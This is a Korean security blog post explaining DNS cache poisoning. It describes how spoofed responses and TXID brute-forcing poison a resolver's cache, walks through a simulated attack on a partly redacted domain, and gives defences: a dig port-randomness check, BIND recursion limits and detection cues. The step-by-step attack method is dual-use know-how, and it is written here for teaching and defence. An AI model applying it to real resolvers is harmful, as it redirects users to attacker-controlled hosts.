chromium-browser  (0) 2022.10.12
Cycript 도구  (0) 2022.10.11
블로그 이미지

wtdsoul

,

DNS Cache Poisoning 공격 : 네이버 블로그 (naver.com)

 

DNS Cache Poisoning 공격

● DNS Cache Poisoning DNS Cache Poisoning 공격은 DNS 통신상의 인증 취약으로 인하여 발...

blog.naver.com

 DNS Cache Poisoning
DNS Cache Poisoning 공격은 DNS 통신상의 인증 취약으로 인하여 발생한다. 공격자가 DNS 응답 패킷을 위조하여 취약 DNS 서버에 전송할 경우, DNS 서버가 해당 응답을 Authoritative DNS 서버로부터 발송된 정상적인 응답으로 받아들인다는데 문제점이 있다. 위조된 응답이 받아들여질 경우, 취약 DNS 서버의 Cache 테이블에 공격자에 의하여 위조된 정보가 저장되게 되며, 이후에는 DNS 서버는 일반 이용자들에게 Cache 테이블에 저장된 위조된 DNS 정보를 제공하게 된다.


● DNS 서버 인증 취약점
DNS 서버는 TXID(Transaction ID)와 Source Port 를 이용하여 DNS 패킷을 인증하는데, TXID 와 Source Port 추측이 가능하다는데 문제점이 있다. 특히, DNS Source Port 의 경우 질의 시 일정한 번호로 고정되게 되어 추측이 용이하다.

취약한 Recursive DNS 서버에서의 질의 패킷에 대한 Source Port 확인 예(일정한 번호로 고정)

TXID 또한 변화 범위가 넓지 않아, 공격자가 TXID 번호에 대한 무작위 대입 또는 순차 대입 공격 등을 통하여, 위조 응답 패킷이 인증이 되도록 할 수 있다.

DNS 패킷의 TXID 필드 Length 예

위와 같이 TXID 필드는 16Bit 이므로, 한 번의 무작위 대입 공격으로는 1/65536 확률을 가지게 된다. 그러나, 단시간 내에 무작위로 대입된 대량의 패킷을 발송하는 방식으로 공격 성공 확률을 크게 높일 수 있다.

TXID 번호에 대한 무작위 대입 또는 순차 대입 공격



● DNS Cache Poisoning 공격 분석
DNS 인증 취약점 공격이 성공하여 위조된 DNS 패킷이 취약한 DNS 서버에서 Accept 될 경우, 공격자가 의도한 특정 도메인에 대한 악성 IP 주소 값이 취약한 DNS의 Cache 테이블에 저장되게 되며, 이후에는 해당 취약 DNS 서버는 DNS 질의를 하는 모든 이용자들에게 변조된 IP 주소로 응답하게 된다. 정상적인 DNS 요청 및 서비스 과정과 공격자에 의한 공격 과정을 비교하여 살펴보면 다음과 같다.

▶ 정상적인 DNS 요청 과정

정상적인 DNS 요청 절차 예
 

인터넷 사용자가 DNS 도메인 서비스를 정상적으로 받을 경우의 과정은 위의 그림과 같다. 사용자 PC 가 Recursive DNS 서버에 특정 도메인네임에 대한 주소 요청을 하게 되면, Recursive DNS 서버는 해당 도메인을 가지고 있는 Authoritative DNS 서버로 찾아가서, 해당 도메인에 대한 주소를 응답받아, 최초 질의한 사용자 PC 에 해당 주소를 알려준다.

▶ DNS 응답 조작 통한 Cache Poisoning 공격 과정 예
정상적인 응답 과정과는 다르게, 공격자가 DNS 응답 패킷을 임의로 제작하여, DNS 서버에 발송하여 DNS Cache 테이블에 공격자가 원하는 정보가 입력되도록 한다. 이 공격을 성공하기 위하여는 우선 DNS 인증 취약점 공격이 성공하여야 한다.

DNS Cache Poisoning 공격 예

① 공격자는 AAA 도메인을 공격 대상 DNS 서버에 요청한다.
② Authoritative DNS 서버로부터 응답 패킷이 온 것처럼 소스 IP 를 Auth DNS IP 로 스푸핑하여
위조된 응답 패킷을 공격 대상 DNS 서버에 보낸다. 공격자는 위조된 패킷이 실제 정상적인 Auth DNS 응답보다 먼저 수신 되도록 빠른 속도로 발송한다.
③ 공격 대상 DNS 서버는 위조된 응답 패킷을 받아들여, 위조된 주소를 Cache에 저장한다. 위조된 응답 패킷을 받아들이기 위해서는 우선 DNS 인증 취약점 공격이 성공하여야 한다.
④ 공격 대상 DNS 서버를 사용하는 일반 사용자가 AAA 에 대한 DNS 질의를 할 경우 위조된 주소로 응답받게 된다.


● DNS Cache Poisoning 모의 공격 과정
▶ DNS 인증 취약점 공격
① 공격자는 공격자가 구성한 Authoritative DNS 서버를 활용, 공격자 도메인으로 쿼리 패킷을 발송 및 분석하는 방법 등을 통하여, 취약 DNS 가 질의 시 사용하는 Source 포트를 파악한다.
② 취약 DNS 서버에 Poisoning 을 원하는 도메인의 다수 하위 도메인으로 질의를 발생시킨 후, TXID 필드 값을 순차적으로 증가시켜가며 빠른 속도로 위조된 응답 패킷을 발송한다. 위조 패킷 발송 시 UDP Destination 포트는 취약 DNS 서버가 사용하는 것으로 확인된 Source 포트 번호로 설정한다. 일단 Authoritative DNS 서버로부터 정상적인 응답을 받을 경우, DNS Cache 에 정상적인 도메인 주소 정보가 저장되게 되어, 이후에는 질의가 발생하지 않게 되며, 위조된 응답 패킷을 수신하지 않아 공격이 불가능해진다. 따라서, 새로운 하위 도메인으로 주기적으로 질의를 한다.

공격을 위한 위조된 응답 패킷 예 (짧은 시간 내에 TXID를 순차적으로 변경해 가며 응답 패킷 발송)

③ 취약 DNS 는 공격자가 발송한 대량의 위조된 패킷 중 TXID 가 일치하는 패킷이 수신되면 해당 응답을 정상적인 패킷으로 받아들인다.

▶ DNS Cache Poisoning을 통한 특정 도메인에 대한 IP 주소 위조
DNS 인증 취약점 공격이 성공하게 되면, 취약 DNS 서버는 위조된 DNS 응답 패킷을 받아들여 DNS Payload 에 있는 위조된 정보를 DNS Cache 테이블에 저장한다. www.pr[생략]ng.net 도메인을 대상으로 실제 공격하는 과정과 결과를 살펴보면 다음과 같다.

DNS Cache Poisoning 공격 과정

① 취약 DNS 서버에 pr[생략]ng.net 도메인에 대한 위조된 응답 패킷을 발송한다. (Cache Poisoning을 하고자 하는 도메인인 www.pr[생략]ng.net 와 Resolving IP 199.199.199.199 는 Additional RR 필드 부분에 삽입)

위조된 DNS 응답 패킷 내용 예

② 공격이 성공한 후, 취약 DNS 서버를 사용하는 사용자가 www.pr[생략]ng.net 도메인에 대한 질의를 할 경우, 위조된 199.199.199.199 로 응답받게 된다.

공격 성공 전 - 10.50.100.6 으로 응답
공격 성공 후 - 변조된 199.199.199.199 으로 응답



● 대응 방안
▶ 사전 예방 방안 : 캐시/리졸빙 DNS 서버로 사용되는 시스템을 운영 중이라면, 해당 보안 취약점 공격에 대비하기 위하여 각 벤더사의 DNS 를 최신 버전으로 업그레이드한다.

취약점 점검 방법 : 점검하고자 하는 도메인이 "aaa.bbb.ccc.ddd" 인 경우
$ dig @aaa.bbb.ccc.ddd +short porttest.dns-oarc.net TXT
취약점이 존재하는 경우
z.y.x.w.v.u.t.s.r.q.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a.pt.dns-oarc.net. "aaa.bbb.ccc.ddd is POOR: 26 queries in 4.0 seconds from 1 ports with std dev 0.00"
DNS가 취약점에 노출되지 않은 경우
z.y.x.w.v.u.t.s.r.q.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a.pt.dns-oarc.net. "aaa.bbb.ccc.ddd is GOOD: 26 queries in 2.0 seconds from 26 ports with std dev 17685.51"


▶ 신뢰할 수 있는 호스트에 대해서만 recursive query 서비스가 가능하도록 설정한다. recursive query를 제한하더라도, DNS 가 패치가 안되어 있을 경우는, 내부의 호스트를 이용한 공격에는 노출되게 되므로 주의해야 한다.
- 신뢰된 호스트에서만 Recursion 서비스를 제공하는 방법 (BIND 8.2.1와 이후 버전)

① 신뢰 네트워크 대역에 대한 ACL 설정
acl internal { 192.168.1.0/24; };
② internal 로 정의된 대역으로부터 발생하는 요청만 받아들이도록 설정
options {
...
allow-recursion { internal; };
...
};

- Bind9 에서는 "view" 설정을 통하여 IP 대역 별로 Recursion 서비스 여부를 조정할 수 있다.

Recursion 기능을 활성화
view "internalview" {
match-clients { internal; };
recursion yes;
};
Recursion 기능을 비활성화
view "externalview" {
match-clients { any; };
recursion no;
};



● 공격 발생 시의 탐지 방안
DNS 인증 취약점을 공격하기 위해서는, 공격자는 Authoritative DNS IP 로 가장하여 위조된 DNS 응답 패킷을 발송하여야 한다. TXID 필드는 16bit 로써 임의의 값으로 저장된 하나의 응답 패킷을 발송할 경우, 1/65536의 성공 확률을 가지게 된다. 따라서, 공격자는 성공 확률을 높이기 위하여 TXID 를 순차적으로 증가 또는, 무작위로 대입된 응답 패킷들을 대량으로 발생시키는 방식으로 공격을 수행할 소지가 매우 높다. Authoritative DNS 서버로부터 정상적인 응답 패킷이 도착하기 전에, 공격을 성공시켜야 하므로, 한 번의 질의 시 공격을 위한 짧은 시간이 주어진다. 따라서, 공격자는 주기적으로 Poisoning 을 원하는 도메인에 대한 임의의 서브 도메인 이름으로 재질의를 하며 공격을 수행하게 된다. 또한, 위조된 DNS 응답 패킷의 Additional 필드(또는 추가 answer 필드)에는 Poisoning 을 원하는 도메인 정보와 주소가 삽입되게 된다.
공격이 발생하게 되면, 공격 대상 Recursive DNS 서버에서는 단일 IP 로부터 응답 패킷들이 대량으로 유입되는 현상이 관찰될 것으로 보인다. 또한, 해당 응답 패킷의 "Question" 및 "Answer" DNS 필드에는 최하위 서브 도메인명이 랜덤 형식인 비정상적인 형태의 도메인이 포함되어 있을 가능성이 높다.
Recursive DNS 서버 운영자는 단일 IP 에서 매우 짧은 시간 내에 DNS 응답 패킷이 대량으로 유입되는 로그 및 현상이 관찰될 경우, 유입되는 DNS 응답 패킷들의 "Question" 및 "Answer" DNS 필드의 페이로드를 확인하여, 최하위 서브 도메인명이 랜덤 형식이거나 계속적으로 변경되는 비정상적인 형태의 실제로는 존재하지 않는 도메인이 포함되어 있는지를 확인해 보도록 한다. 짧은 시간 내에 이러한 유형의
패킷이 다수 확인될 경우 공격 발생을 의심해볼 필요가 있다.

공격 패킷의 "Question" 및 "Answer" 필드 내에 포함되어 있는 비정상적인 도메인 예

'경로 및 정보' 카테고리의 다른 글

[Windows - Tip] 무료 대용량 텍스트 파일 읽기 프로그램  (0) 2022.10.27
QEME로 MIPS 구동 환경 셋팅(펌)  (0) 2022.10.23
chromium-browser  (0) 2022.10.12
Cycript 도구  (0) 2022.10.11
Docker 2375/2376  (0) 2022.10.07
블로그 이미지

wtdsoul

,